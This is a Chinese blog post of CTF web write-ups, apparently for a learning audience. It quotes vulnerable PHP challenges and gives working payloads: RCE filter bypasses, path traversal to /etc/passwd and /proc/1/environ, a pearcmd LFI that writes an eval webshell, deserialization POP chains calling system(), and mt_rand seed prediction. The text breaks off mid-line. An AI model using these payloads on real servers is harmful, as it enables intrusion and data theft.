{"id":121,"date":"2025-06-08T20:45:30","date_gmt":"2025-06-08T12:45:30","guid":{"rendered":"http:\/\/101.201.119.158\/?p=121"},"modified":"2025-06-16T18:34:17","modified_gmt":"2025-06-16T10:34:17","slug":"hnctf%e9%83%a8%e5%88%86web%e9%a2%98%e8%a7%a3cmctf%e9%83%a8%e5%88%86web%e9%a2%98%e8%a7%a3","status":"publish","type":"post","link":"http:\/\/101.201.119.158\/?p=121","title":{"rendered":"H&#038;NCTF\u90e8\u5206web\u9898\u89e3+CMCTF\u90e8\u5206web\u9898\u89e3"},"content":{"rendered":"\n<p>(\u83dc\u9e21wea5e1\u7b49\u5f85\u5b98\u65b9wp\u4e2d)(\u540e\u9762\u4f1a\u66f4\u65b0)<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">H&amp;NCTF<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Really_Ez_Rce<\/h3>\n\n\n\n<p>\u662f..\u662f&#8230;\u662f&#8230;rce,\u6211\u4eec\u6709\u6551\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>header('Content-Type: text\/html; charset=utf-8');<br>highlight_file(__FILE__);<br>error_reporting(0);<br>\u200b<br>if (isset($_REQUEST['Number'])) {<br> &nbsp;  $inputNumber = $_REQUEST['Number'];<br> &nbsp; &nbsp;<br> &nbsp;  if (preg_match('\/\\d\/', $inputNumber)) {<br> &nbsp; &nbsp; &nbsp;  die(\"\u4e0d\u884c\u4e0d\u884c,\u4e0d\u80fd\u8fd9\u6837\");<br> &nbsp;  }<br>\u200b<br> &nbsp;  if (intval($inputNumber)) {<br> &nbsp; &nbsp; &nbsp;  echo \"OK,\u63a5\u4e0b\u6765\u4f60\u77e5\u9053\u8be5\u600e\u4e48\u505a\u5417\";<br> &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp;  if (isset($_POST['cmd'])) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $cmd = $_POST['cmd'];<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (!preg_match(<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  '\/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\\\\\|more|cc|tac|less|head|\\.|\\{|\\}|uniq|copy|%|file|xxd|date|\\[|\\]|flag|bash|env|!|\\?|ls|\\'|\\\"|id\/i',<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $cmd<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  )) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo \"\u4f60\u4f20\u7684\u53c2\u6570\u4f3c\u4e4e\u633a\u6b63\u7ecf\u7684,\u653e\u4f60\u8fc7\u53bb\u5427&lt;br&gt;\";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  system($cmd);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  } else {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo \"nonono,hacker!!!\";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>}<\/pre>\n\n\n\n<p>\u8fc7\u6ee4\u7684\u633a\u591a\u7684\uff0c\u4e0a\u9762Number\u662fintval\u51fd\u6570\uff0c\u53ef\u4ee5\u4f7f\u7528\u6570\u7ec4\u7ed5\u8fc7\uff0cNumber[]=1<\/p>\n\n\n\n<p>\u4e0d\u8fc7\u53cd\u5f15\u53f7\u6ca1\u6709\u88ab\u8fc7\u6ee4\uff0c\u53ef\u4ee5\u8fdb\u884c\u62fc\u63a5ls\u547d\u4ee4<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">cmd=l``s; cmd=l``s \/,flag\u5728flag.txt\uff0c\u7136\u540e\u5c31\u662f\u770b\u600e\u4e48\u8bfb\u7684\u4e86<br>\u6668\u66e6\u5927\u795e\u662fcmd=a=ca;b=t;c=fla;d=g;e=`expr substr $KUBERNETES_SERVICE_HOST 3 1`;f=tx;g=t;`echo $a$b \/$c$d$e$f$g`\u8fd9\u6837\u51fa\u6765\u7684\uff0c.\u662f\u901a\u8fc7\u73af\u5883\u53d8\u91cfKUBERNETES_SERVICE_HOST\u7684\u7b2c 3 \u4e2a\u5b57\u7b26\u5f00\u59cb\u622a\u53d6 1 \u4e2a\u5b57\u7b26\u622a\u53d6\u51fa\u6765\u7684<br>\u5728\u7fa4\u91cc\u9762\u53d1\u73b0cd \/%26%26c$@at `l$@s`\u786e\u5b9e\u5389\u5bb3\/\/ cd \/;ca$1t `l$1s`<br>\u7136\u540e\u5c31\u662fbase64\u52a0\u62fc\u63a5\uff1a<br>cmd=a=ba;b=se64;c=s;d=h;echo Y2F0IC9mKg==|$a$b -d|$c$d -&gt;echo Y2F0IC9mKg== | base64 -d | sh<br>Sh \u6267\u884c\u547d\u4ee4 cat \/f*<br>\u770b\u7fa4\u91cc\u9762\u7684\u5927\u4f6c\uff0c\u53d1\u73b0tar -cvf backup \/\u8fd9\u6837\u5907\u4efd\u5e76\u4e14\u5217\u51fa\u6765\uff0c\u53ef\u4ee5\u770b<br>cd \/;cp $(ls | grep fl) \/var\/www\/html\/flag_gaiming \/\/\u53ef\u4ee5cp\u6539\u540d\u590d\u5236\u5230html\u76ee\u5f55\u4e0b\u518dcat\u6253\u5f00<br>cp $(ls \/| grep fl) flag_gaiming<br>cd \/;c``at `grep fl`<br>cmd=a=fl;b=ag;c=l;d=s;cd \/;aa=fin;aaa=d; rev`$aaSaaa \/proc\/self\/cwd\/-inum 86676`<br>\u4e00\u9898\u591a\u89e3<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">DeceptiFlag<\/h3>\n\n\n\n<p>\u8fd9\u4e2a\u6253\u5f00\u53d1\u73b0\u4e0d\u7ba1\u600e\u4e48\u4f20\u90fd\u4e0d\u884c\uff0cbp\u6293\u5305\u53d1\u73b0\u5b58\u5728Lang\u8fd9\u4e2a\u53c2\u6570\uff0c\u76f4\u63a5qaq_visible=xiyangyang&amp;Lang=huitailang \u7136\u540e\/?qaq=xiyangyang\u53d1\u73b0\u56de\u663e\u51fa\u6765tips.php\u8fd9\u4e2a\u6587\u4ef6\uff0c\u7136\u540e\u53bb\u8bbf\u95ee\uff0c\u53d1\u73b0302\u8df3\u8f6ctips.php?file=flag\uff0c\u4f7f\u7528\u4f2a\u534f\u8bae\u505a\uff0c\u4f46\u662f\u4e0d\u7ba1\u662fflag.php\u8fd8\u662f\/flag\u90fd\u662f\u6ca1\u6709flag\u7684\uff0c\u7136\u540e\u5c31\u8bd5 ..\/..\/..\/..\/..\/..\/etc\/passwd\u76ee\u5f55\u7a7f\u8d8a\uff0c\u8bfb\u4e00\u4e0b\/etc\/passwd\u53d1\u73b0\u53ef\u4ee5\uff0cflag\u5c31\u662f\u4e0d\u77e5\u9053\u8def\u5f84<\/p>\n\n\n\n<p>\u8fd9\u91cc\u6709\u4e24\u4e2a\u65b9\u6cd5<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">kevin\u5e08\u5085\u63d0\u4f9b\u7684\u975e\u9884\u671f\u89e3\uff1a\u76f4\u63a5\u4e0aenv\u73af\u5883\u53d8\u91cf\u91cc\u9762\/proc\/self\/environ\uff0c\u53d1\u73b0\u786e\u5b9e\u6ca1\u6709\uff0c\u5c31\u4e00\u4e2a\u4e2a\u7206\u7834env\uff0c\/proc\/\u6570\u5b57\/environ\u7206\u7834\uff0c\u53d1\u73b0\u5728\/proc\/1\/environ\u7684\u65f6\u5019\u51fa\u73b0flag<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u6668\u66e6\u5927\u795e\u63d0\u4f9b\u7684\u65b9\u6cd5\uff1a\/tips.php?+config-create+\/&amp;file=file:\/\/\/usr\/local\/lib\/php\/pearcmd&amp;\/&lt;?=@eval($_POST['cmd']);?&gt;+test.php \u76f4\u63a5\u5199\u5165\u5c0f\u9a6c\uff0c\u4e0d\u8fc7\u8fd9\u4e2a\u662f\u9488\u5bf9 PHP \u73af\u5883\u4e2d pearcmd.php \u6587\u4ef6\u672c\u5730\u6587\u4ef6\u5305\u542b (LFI) \u6f0f\u6d1e\u7684\u5229\u7528\u5c1d\u8bd5<br>tips.php? - \u76ee\u6807\u6f0f\u6d1e\u9875\u9762<br>+config-create+\/ - \u8c03\u7528 pecmd.php \u7684 config-create \u547d\u4ee4<br>&amp;file=file:\/\/\/usr\/local\/lib\/php\/pearcmd - \u6307\u5b9a pecmd.php \u6587\u4ef6\u8def\u5f84<br>&lt;?=@eval($_POST['cmd']);?&gt; - \u8981\u5199\u5165\u7684\u6076\u610f\u4ee3\u7801<br>+test.php - \u751f\u6210\u7684\u6076\u610f\u6587\u4ef6\u540d<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">ez_php<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>error_reporting(0);<br>class GOGOGO{<br> &nbsp;  public $dengchao;<br> &nbsp;  function __destruct(){<br> &nbsp; &nbsp; &nbsp;  echo \"Go Go Go~ \u51fa\u53d1\u55bd\uff01\" . $this-&gt;dengchao;<br> &nbsp;  }<br>}<br>class DouBao{<br> &nbsp;  public $dao;<br> &nbsp;  public $Dagongren;<br> &nbsp;  public $Bagongren;<br> &nbsp;  function __toString(){<br> &nbsp; &nbsp; &nbsp;  if( ($this-&gt;Dagongren != $this-&gt;Bagongren) &amp;&amp; (md5($this-&gt;Dagongren) === md5($this-&gt;Bagongren)) &amp;&amp; (sha1($this-&gt;Dagongren)=== sha1($this-&gt;Bagongren)) ){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  call_user_func_array($this-&gt;dao, ['\u8bd7\u4eba\u6211\u5403\uff01']);<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>}<br>class HeiCaFei{<br> &nbsp;  public $HongCaFei;<br> &nbsp;  function __call($name, $arguments){<br> &nbsp; &nbsp; &nbsp;  call_user_func_array($this-&gt;HongCaFei, [0 =&gt; $name]);<br> &nbsp;  }<br>}<br>\u200b<br>if (isset($_POST['data'])) {<br> &nbsp;  $temp = unserialize($_POST['data']);<br> &nbsp;  throw new Exception('What do you want to do?');<br>} else {<br> &nbsp;  highlight_file(__FILE__);<br>}<br>?&gt;<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u7528\u539f\u751f\u7c7b\u7ed5\u8fc7 hash \u51fd\u6570\uff0c\u53bb\u6389\u6700\u540e\u4e00\u4e2a\u5927\u62ec\u53f7\u5b9e\u73b0fast destruct\uff0c\u4ece\u800c\u7ed5\u8fc7 throw \u5f02\u5e38\u629b\u51fa<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>error_reporting(0);<br>class GOGOGO{<br> &nbsp;  public $dengchao;<br> &nbsp;  function __destruct(){<br> &nbsp; &nbsp; &nbsp;  echo \"Go Go Go~ \u51fa\u53d1\u55bd\uff01\" . $this-&gt;dengchao;<br> &nbsp;  }<br>}<br>class DouBao{<br> &nbsp;  public $dao;<br> &nbsp;  public $Dagongren;<br> &nbsp;  public $Bagongren;<br> &nbsp;  function __toString(){<br> &nbsp; &nbsp; &nbsp;  if( ($this-&gt;Dagongren != $this-&gt;Bagongren) &amp;&amp; (md5($this-&gt;Dagongren) === md5($this-&gt;Bagongren)) &amp;&amp; (sha1($this-&gt;Dagongren)=== sha1($this-&gt;Bagongren)) ){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  call_user_func_array($this-&gt;dao, ['\u8bd7\u4eba\u6211\u5403\uff01']);<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>}<br>class HeiCaFei{<br> &nbsp;  public $HongCaFei=\"system\";<br> &nbsp;  function __call($name, $arguments){<br> &nbsp; &nbsp; &nbsp;  echo \"yes\";<br> &nbsp; &nbsp; &nbsp;  call_user_func_array($this-&gt;HongCaFei, [0 =&gt; $name]);<br> &nbsp;  }<br>}<br>\u200b<br>$a = new GOGOGO();<br>$a-&gt;dengchao = new DouBao();<br>$a-&gt;dengchao-&gt;Dagongren=new Error(\"test\",1);$a-&gt;dengchao-&gt;Bagongren=new Error(\"test\",2);<br>$a-&gt;dengchao-&gt;dao=[new HeiCaFei(),'cat \/of*'];<br>echo urlencode(serialize($a));<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">CMCTF<\/h2>\n\n\n\n<h4 class=\"wp-block-heading\">lottery\u7b7e\u5230\u91cd\u751f\u7248<\/h4>\n\n\n\n<p>\u6ca1\u6709\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u8fd0\u6c14\u76f4\u63a5\u51fa\u6765\u4e86<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u51fd\u6570\u91cd\u751f\u7248<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>highlight_file(__FILE__);<br>if(isset($_GET['i'])){<br> &nbsp;  switch(strtolower(substr($_GET['i'],0,6))){<br> &nbsp; &nbsp; &nbsp;  default:<br> &nbsp; &nbsp; &nbsp;  if(!preg_match('\/php|flag|zlib|ftp|system|shell_exec|exec|file_get_contents|proc_open|fopen|fgets|file_put_contents|file|fread|readfile|stream_get_contents|cat|more|tac|\\:|\\]|\\[|\\+|\\-|\\*|\\eval|\\^|\\`|\\\"|\\&lt;|\\&gt;|\\\\|\\\/|\\ssh\/i',$_GET['i'])){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  eval($_GET['i']);<br> &nbsp; &nbsp; &nbsp;  }else{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  die('error');<br> &nbsp; &nbsp; &nbsp;  }break;<br> &nbsp;  }<br>}<\/pre>\n\n\n\n<p>\u53d1\u73b0\u6709\u7684\u65e0\u53c2\u6570rce\u91cc\u9762\u7684\u51fd\u6570\u6ca1\u6709\u88abban\uff0c\u4f7f\u7528get_defined_vars()\u8fd9\u4e2a\u51fd\u6570<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">i=eval(end(current(get_defined_vars())));&amp;b=system('ls \/');<br>i=eval(end(current(get_defined_vars())));&amp;b=system('tac \/tmp\/f*');<br>echo \"\/var\/www\/html\/flag.php &amp;&amp; echo '$flag = \"flag{950E490EF95195CEABF0AC916836E88F}\";'&gt;&gt;\/var\/www\/html\/flag.php &amp;&amp; echo \"?&gt;\"&gt;&gt;\/var\/www\/html\/flag.php # echo $1&gt;\/flag.txt &amp;&amp; chmod 777 \/flag.txt #!\/bin\/bash \u989d\uff0c\u8fd9\u4e2a\u662f\u6ca1\u6709\u91cd\u5b9a\u5411\u51fa\u6765\u5417\uff0c(\u7591\u95ee)<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">pop\u4e4b\u6211\u53c8\u53cc\u53d2\u53d5\u91cd\u751f\u4e86<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>highlight_file(__FILE__);<br>class A1<br>{<br> &nbsp;  public $a1;<br> &nbsp;  public function __construct()<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;  echo \"v50 Crazy Thursday v+flag\";<br> &nbsp;  }<br> &nbsp;  public function __wakeup()<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;  $this-&gt;a1-&gt;get_flag();<br> &nbsp;  }<br>}<br>class A2<br>{<br> &nbsp;  public $a2 = '10086';<br> &nbsp;  public function get_flag()<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;  echo \"flag{\" . $this-&gt;a2 . \"}\";<br> &nbsp;  }<br>}<br>class A3<br>{<br> &nbsp;  public $a3;<br> &nbsp;  public function __toString()<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;  $this-&gt;a3-&gt;fun();<br> &nbsp; &nbsp; &nbsp;  return \" you can + 772019189 to ask answer\";<br> &nbsp;  }<br>}<br>class A4<br>{<br> &nbsp;  public $a4;<br> &nbsp;  public function fun()<br> &nbsp;  { &nbsp;<br> &nbsp; &nbsp; &nbsp;  if ($_GET[\"2025\"]===\"admin\"){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo \"very easy not hard\";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  system(\"cat .\/flag.php\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo $cmflag;<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>}<br>if (isset($_GET[\"wlaq\"])){<br> &nbsp;  @unserialize($_GET[\"wlaq\"]);<br>}<\/pre>\n\n\n\n<p>\u7b80\u5355\u7684\u53cd\u5e8f\u5217\u5316<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>class A1<br>{<br> &nbsp;  public $a1;<br>}<br>class A2<br>{<br> &nbsp;  public $a2 = '10086';<br>}<br>class A3<br>{<br> &nbsp;  public $a3;<br>}<br>class A4<br>{<br> &nbsp;  public $a4;<br>\u200b<br>}<br>$a = new A1();<br>$b= new A2();<br>$c= new A3();<br>$d= new A4();<br>$a -&gt; a1 = $b;<br>$b -&gt; a2 = $c;<br>$c -&gt; a3 = $d;<br>echo serialize($a);<br>\u4e0d\u8fc7\u8bb0\u5f97\u4f202025=admin\u7136\u540e\u770b\u6e90\u4ee3\u7801(\u8fd9\u91cc\u6211\u771f\u7684\u670d\u4e86)<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">can_u_escape<\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>include(\"flag.php\");<br>highlight_file(__FILE__);<br>function filter($name){<br> &nbsp;  $safe=array(\"flag\",\"php\");<br> &nbsp;  $name=str_replace($safe,\"hake\",$name);<br> &nbsp;  return $name;<br>}<br>class test{<br> &nbsp;  var $user;<br> &nbsp;  var $pass='daydream';<br> &nbsp;  function __construct($user){<br> &nbsp; &nbsp; &nbsp;  $this-&gt;user=$user;<br> &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp;  }<br>}<br>$param=$_GET['a'];<br>$param=serialize(new test($param));<br>$profile=unserialize(filter($param));<br>if ($profile-&gt;pass=='escaping'){<br> &nbsp;  echo $flag;<br>}<br>?&gt;<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u672c\u6765\u770b\u4e0d\u660e\u767d\uff0cKevin\u5e08\u5085\u63d0\u793a\u8bf4\u5b57\u7b26\u4e32\u9003\u9038\uff0c\u90a3\u4e2a\u5fd8\u4e86\uff0c\u73b0\u5b66\u76f4\u63a5\u51fa\u6765\u4e86<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>function filter($str){<br> &nbsp;  return str_replace('bb', 'ccc', $str);<br>}<br>class A{<br> &nbsp;  public $name='aaaabb';<br> &nbsp;  public $pass='123456';<br>}<br>$AA=new A();<br>echo serialize($AA).\"\\n\";<br>$res=filter(serialize($AA));<br>echo $res;<br>$c=unserialize($res);<br>echo $c;<br>?&gt;<br>\/\/\u8fd9\u91cc\u9644\u4e0a\u6211\u7684\u7b14\u8bb0\uff0c\u563b\u563b<br>\";s:4:\"pass\";s:8:\"escaping\";}<br>\u8981\u9003\u903829<br>php<br>phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">busy_search<\/h4>\n\n\n\n<p>\u989d\uff0c\u4e00\u76f4\u6253\u4e0d\u5f00\uff0c\u4ee5\u4e3a\u73af\u5883\uff0c\u7ed3\u679c\u662f\u7b80\u5355\u7684\u4fe1\u606f\u6cc4\u9732\uff0c\u8bbf\u95eeindex.html\uff0c\u7136\u540e\u627e&lt;!\u7684\uff0c\u62fc\u63a5\u5c31\u884c<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">give!me!money!<\/h4>\n\n\n\n<p>\u76f4\u63a5dirsearch\u626b\u63cf\u51fa\u6765index.bar\uff0c\u53d1\u73b0\u6e90\u7801<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>\u200b<br>\u200b<br>\u200b<br>\/\/ \u68c0\u67e5\u662f\u5426\u6709id\u53c2\u6570\u4f20\u5165<br>$success=0;<br>$shenhe=0;<br>$time=$_GET['time'];<br>$money=$_GET['money'];<br>if (isset($_GET['id'])) {<br> &nbsp;  $id = $_GET['id'];<br>\u200b<br> &nbsp;  \/\/ \u6839\u636eid\u7684\u503c\u6267\u884c\u4e0d\u540c\u7684\u64cd\u4f5c<br> &nbsp;  if ($id === 'a') {<br> &nbsp; &nbsp; &nbsp;  \/\/ \u5982\u679cid\u4e3aa\uff0c\u5411\u5f53\u524d\u9875\u9762\u53d1\u9001\u540d\u4e3amoney\u7684\u53c2\u6570\uff0c\u503c\u4e3a648<br> &nbsp; &nbsp; &nbsp;  header(\"Location: ?id=d&amp;money=648\");<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp;  } elseif ($id === 'b') {<br> &nbsp; &nbsp; &nbsp;  \/\/ \u5982\u679cid\u4e3ab\uff0c\u8f93\u51fa\u7279\u5b9a\u7684\u4fe1\u606f<br> &nbsp; &nbsp; &nbsp;  echo \"\u54c8\u54c8\u54c8\uff0c\u743c\u7470\u5927\u5b66\u751f\uff0c\u4e0d\u8981\u653e\u5f03\u6323\u624e\uff0c\u4e56\u4e56\u5145\u94b1\u5427\uff01\\n\";<br> &nbsp;  } <br>} else {<br> &nbsp;  \/\/ \u5982\u679c\u6ca1\u6709\u4f20\u5165id\u53c2\u6570\uff0c\u53ef\u4ee5\u8f93\u51fa\u63d0\u793a\u4fe1\u606f<br> &nbsp;  echo \"\u4e09\u56fd\u6740\u5f00\u542f\u6700\u65b0\u6d3b\u52a8\uff0c\u5145\u503c\u9001flag\u3002\u5145\u503c114514\u5143\u5373\u53ef\u83b7\u5f97\u9634\u66f9\u5730\u5e9c\u5c06\u90a2\u7532\u5fa1\uff0c\u9644\u8d60\u6c5f\u5927\u65b0\u751f\u8d5bflag\\n\";<br>\u200b<br>echo \"\u63d0\u793a\uff1a\u4f60\u7684\u751f\u6d3b\u8d39\u4e3a1000\u5143\u3002\u53d1\u9001id=a\u5145\u503c648\uff0c\u53d1\u9001id=b\u7403\u7403\u72d7\u5361\u7b56\u5212\u53d1\u5927\u5b66\u751f\u798f\u5229\\n\";<br> &nbsp;  echo \"\u5feb\u5feb\u5145\u94b1\u5427\uff01\";<br>}<br>if (isset($_GET['money']) &amp;&amp; isset($_GET['id'])){<br> &nbsp;  if ($money&lt;114514){<br> &nbsp; &nbsp; &nbsp; echo \"\u5c31\u8fd9\u70b9\u94b1\u8fd8\u60f3\u4e70\u6b66\u5c06\uff1f\";<br> &nbsp;  }<br> &nbsp;  else{<br> &nbsp; &nbsp; &nbsp; $ccc=time();<br> &nbsp; &nbsp; &nbsp; $ttt=substr($ccc, 0, 7);<br> &nbsp; &nbsp; &nbsp; mt_srand($ttt);<br> &nbsp; &nbsp; &nbsp; for($i =0; $i &lt;= 100; $i++){<br> &nbsp; &nbsp; &nbsp; &nbsp;  if($i == 100){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $shenhe = mt_rand();<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp;  else{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mt_rand();<br> &nbsp; &nbsp; &nbsp; &nbsp;  };<br> &nbsp; &nbsp; &nbsp; }<br> &nbsp;  }<br>}<br>$c=$_POST['c'];<br>if(isset($_POST['c']) &amp;&amp; $money &gt;= 114514){<br> &nbsp;  if($c == $shenhe){<br> &nbsp; &nbsp; &nbsp; $sucess=1;<br> &nbsp; &nbsp; &nbsp; echo \"\";<br> &nbsp;  }<br> &nbsp; &nbsp;<br>}<br>\u200b<br>if ($sucess==0 &amp;&amp; $money &gt;= 114514){<br> &nbsp;  echo \"\u5f00\u6842\u4e86\uff1f\u54ea\u6765\u8fd9\u4e48\u591a\u94b1\";<br>}<br>?&gt;<\/pre>\n\n\n\n<p>\u903b\u8f91\u7b80\u5355\uff0c\u5c31\u662f\u65f6\u95f4\u6233\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\u6211\u8dd1\u4e0d\u51fa\u6765<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n$current_time = time(); \/\/ \u540c\u6b65\u653b\u51fb\u673a\u5668\u4e0e\u670d\u52a1\u5668\u7684\u65f6\u95f4\n$window = 1; \/\/ \u65f6\u95f4\u8bef\u5dee\u7a97\u53e3\uff08\u79d2\uff09\n\nfor ($offset = -$window; $offset &lt;= $window; $offset++) {\n    $seed_time = $current_time + $offset;\n    $seed = substr($seed_time, 0, 7);\n    mt_srand($seed);\n\n    for ($i = 0; $i &lt;= 100; $i++) {\n        $rand = mt_rand();\n        if ($i == 100) {\n            echo \"Seed: $seed \u2192 shenhe: $rand\\n\";\n        }\n    }\n}\n?&gt;<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">?id=d&amp;money=1114514<br>c=\u65f6\u95f4\u6233<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">u_know?<\/h4>\n\n\n\n<p>\u5148\u770bshop.php<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>highlight_file(__FILE__);<br>include(\"change.php\");<br>$buy=$_GET['buy'];<br>$un_buy=unserialize($buy);<br>$gift1=\"xiaomisu7\";<br>$gift2=\"redmiK60\";<br>if(isset($_GET['buy'])){<br> &nbsp;  $gift1=$anotherthing;<br> &nbsp;  $gift2=$otherthing;<br> &nbsp; &nbsp;<br> &nbsp;  if($un_buy['onething']==$gift1 &amp;&amp; $un_buy['twothing']==$gift2){<br> &nbsp; &nbsp; &nbsp;  echo $flag1;<br> &nbsp; &nbsp; &nbsp;  echo \"\u8c22\u8c22\u4f60\uff0c\u4f60\u662f\u4e2a\u597d\u4eba\";<br> &nbsp;  }<br> &nbsp;  else{<br>\u200b<br> &nbsp; &nbsp; &nbsp;  echo \"\u5973\u795e\uff1a\u201c\u54ce\u5440\u6211\u8865\u836f\u4e70\u8fd9\u4e2a\u201d\";<br> &nbsp;  }<br>}<br>else{<br>echo \"\u7ed9\u5979\u4e70\u4ec0\u4e48\u597d\u5462\";<br>}<br>\u200b<br>?&gt; \u7ed9\u5979\u4e70\u4ec0\u4e48\u597d\u5462<\/pre>\n\n\n\n<p>\u770b\u89c1\u5173\u952e\u8bed\u53e5\uff0c\u7136\u540e\u53d1\u73b0\u662f\u5173\u4e8earray \u6570\u7ec4\u7684\u4e1c\u897f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">from phpserialize import * <br>buy = {'onething':True,'twothing':True} <br>print(serialize(buy)) <br># a:2:{s:8:\"onething\";b:1;s:8:\"twothing\";b:1;}<br>?buy=a:2:{s:8:\"onething\";b:1;s:8:\"twothing\";b:1;}<br>\u51fa\u6765WW91IGRvbid0IGFjdHVhbGx5IGhhdmUgYSBnaXJsZnJpZW\u8c22\u8c22\u4f60\uff0c\u4f60\u662f\u4e2a\u597d\u4eba<\/pre>\n\n\n\n<p>kfc.php<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>\u200b<br>class order<br>{<br> &nbsp;  public $start;<br>\u200b<br> &nbsp;  function __construct($start)<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;  $this-&gt;start = $start;<br> &nbsp;  }<br>\u200b<br> &nbsp;  function __destruct()<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;  $this-&gt;start-&gt;helloworld();<br> &nbsp;  }<br>}<br>\u200b<br>class zhengcan<br>{<br> &nbsp;  public $lbjjrj;<br>\u200b<br> &nbsp;  function __call($name, $arguments)<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;  echo $this-&gt;lbjjrj-&gt;douzhi;<br> &nbsp;  }<br>}<br>\u200b<br>class tiandian<br>{<br> &nbsp; &nbsp;<br>\u200b<br> &nbsp;  function __get($Attribute)<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;  echo '';<br> &nbsp; &nbsp; &nbsp; &nbsp;<br> &nbsp;  }<br>}<br>\u200b<br>if(isset($_GET['serialize'])) {<br> &nbsp;  unserialize($_GET['serialize']);<br>} else {<br> &nbsp;  echo \"\u4f7f\u7528\u538b\u7f29\u5305\u70b9\u5355kfc.rar\";<br>}<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u53cd\u5e8f\u5217\u5316\u76f4\u63a5\u6253<br>&lt;?php<br>\u200b<br>class order<br>{<br> &nbsp;  public $start;<br>}<br>\u200b<br>class zhengcan<br>{<br> &nbsp;  public $lbjjrj;<br>}<br>\u200b<br>class tiandian<br>{<br>\u200b<br>\u200b<br>}<br>$a = new order();<br>$a -&gt; start = new zhengcan();<br>$a -&gt; start -&gt; lbjjrj = new tiandian();<br>echo 